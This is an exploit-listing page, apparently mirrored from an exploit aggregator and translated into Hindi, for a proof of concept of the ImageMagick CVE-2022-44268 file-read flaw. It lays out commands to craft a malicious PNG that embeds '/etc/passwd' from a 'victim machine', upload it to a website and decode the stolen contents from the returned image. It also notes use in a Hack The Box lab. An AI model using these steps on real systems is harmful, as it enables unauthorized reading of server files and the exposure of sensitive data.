Exploit for ImageMagick-lfi-poc

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FANBYPRINCIPLE-IMAGEMAGICK-LFI-POC
# ImageMagick-lfi-poc

### ImageMagick मनमाना फ़ाइल पढ़ना - CVE-2022-44268

htb pilgrimage में भी उपयोग किया गया

## ImageMagick LFI PoC [CVE-2022-44268]

MetabaseQ के शोधकर्ताओं ने CVE-2022-44268 की खोज की, अर्थात् ImageMagick 7.1.0-49 सूचना प्रकटीकरण के लिए संवेदनशील है। जब यह एक PNG छवि को पार्स करता है (उदाहरण के लिए, आकार बदलने के लिए), तो परिणामी छवि में एक मनमानी दूरस्थ फ़ाइल की सामग्री एम्बेड हो सकती है (यदि ImageMagick बाइनरी के पास इसे पढ़ने की अनुमति हो)।

चरण 1 :

चलाएँ

root@kitploit:~
    
    
    pip install pillow
    sudo apt install graphicsmagick-imagemagick-compat
    

चरण 2 ;

चलाएँ

root@kitploit:~
    
    
    python3 magick_exploit.py generate -l [local_file] -o [output_file]
    

यहाँ इस मामले में स्थानीय फ़ाइल '/etc/passwd' है जिसे मैं पीड़ित मशीन से प्राप्त करना चाहता हूँ।

चरण 3 :

छवि फ़ाइल को वेबसाइट पर अपलोड करें

चरण 4 :

वेबसाइट से परिवर्तित छवि फ़ाइल प्राप्त करें। इसे 'downloaded_image.png' नाम दें

चरण 5:

चलाएँ

root@kitploit:~
    
    
    python3 decode_profile.py